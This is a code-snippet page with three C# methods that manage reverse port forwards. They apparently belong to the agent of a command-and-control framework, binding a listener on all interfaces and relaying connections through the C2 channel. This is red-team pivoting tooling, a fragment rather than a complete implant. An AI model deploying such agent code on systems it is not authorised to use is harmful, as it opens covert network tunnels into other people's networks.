Ejemplo n.º 1
0
        private void FlushReversePortForwards(byte[] data)
        {
            try
            {
                foreach (var rportfwd in ReversePortForwards)
                {
                    var socket = rportfwd.Value;
                    try { socket.Shutdown(SocketShutdown.Both); }
                    catch (SocketException) { }
                    socket.Close();
                }

                ReversePortForwards.Clear();
            }
            catch (Exception e)
            {
                Agent.SendError(e.Message);
            }
        }
Ejemplo n.º 2
0
        private void StopReversePortForward(byte[] data)
        {
            try
            {
                var bindPort = int.Parse(Encoding.UTF8.GetString(data));
                var rportfwd = ReversePortForwards.FirstOrDefault(r => r.Key.BindPort == bindPort).Key;
                if (rportfwd != null)
                {
                    rportfwd.CancellationToken.Cancel();
                    var socket = ReversePortForwards[rportfwd];
                    try { socket.Shutdown(SocketShutdown.Both); }
                    catch (SocketException) { }
                    socket.Close();

                    ReversePortForwards.Remove(rportfwd);
                }
            }
            catch (Exception e)
            {
                Agent.SendError(e.Message);
            }
        }
Ejemplo n.º 3
0
        private void StartReversePortForward(byte[] data)
        {
            try
            {
                var args        = Encoding.UTF8.GetString(data).Split(' ');
                var bindPort    = int.Parse(args[0]);
                var forwardHost = args[1];
                var forwardPort = int.Parse(args[2]);

                if (ReversePortForwards.Any(k => k.Key.BindPort == bindPort))
                {
                    Agent.SendError($"rportfwd already exists on port {bindPort}");
                    return;
                }

                var rportfwd = new ReversePortForward
                {
                    BindPort          = bindPort,
                    ForwardHost       = forwardHost,
                    ForwardPort       = forwardPort,
                    CancellationToken = new CancellationTokenSource()
                };

                var bindAddress = IPAddress.Parse("0.0.0.0");
                var endPoint    = new IPEndPoint(bindAddress, bindPort);
                var listener    = new Socket(bindAddress.AddressFamily, SocketType.Stream, ProtocolType.Tcp);

                listener.Bind(endPoint);
                listener.Listen(100);

                var token = rportfwd.CancellationToken.Token;

                Task.Factory.StartNew(delegate()
                {
                    while (true)
                    {
                        if (token.IsCancellationRequested)
                        {
                            return;
                        }

                        try
                        {
                            var handler = listener.Accept();

                            var buffer    = new byte[65535];
                            var bytesRecv = handler.Receive(buffer);

                            if (bytesRecv > 0)
                            {
                                var outPacket = new ReversePortForwardPacket
                                {
                                    ID          = Guid.NewGuid().ToString(),
                                    ForwardHost = rportfwd.ForwardHost,
                                    ForwardPort = rportfwd.ForwardPort,
                                    Data        = buffer.TrimBytes()
                                };

                                Agent.SendModuleData("ReversePortForward", "DataFromAgent", Serialisation.SerialiseData(outPacket));

                                // wait

                                while (true)
                                {
                                    var packets = InboundPackets.ToArray();

                                    if (packets.Any(p => p.ID.Equals(outPacket.ID, StringComparison.OrdinalIgnoreCase)))
                                    {
                                        var inPacket = InboundPackets.FirstOrDefault(p => p.ID.Equals(outPacket.ID, StringComparison.OrdinalIgnoreCase));
                                        InboundPackets.Remove(inPacket);

                                        handler.Send(inPacket.Data);
                                        handler.Shutdown(SocketShutdown.Both);
                                        handler.Close();

                                        break;
                                    }
                                }
                            }
                        }
                        catch (SocketException e)
                        {
                            // socket is probably disposed
                            Agent.SendError(e.Message);
                        }
                    }
                }, token);

                ReversePortForwards.Add(rportfwd, listener);
            }
            catch (Exception e)
            {
                Agent.SendError(e.Message);
            }
        }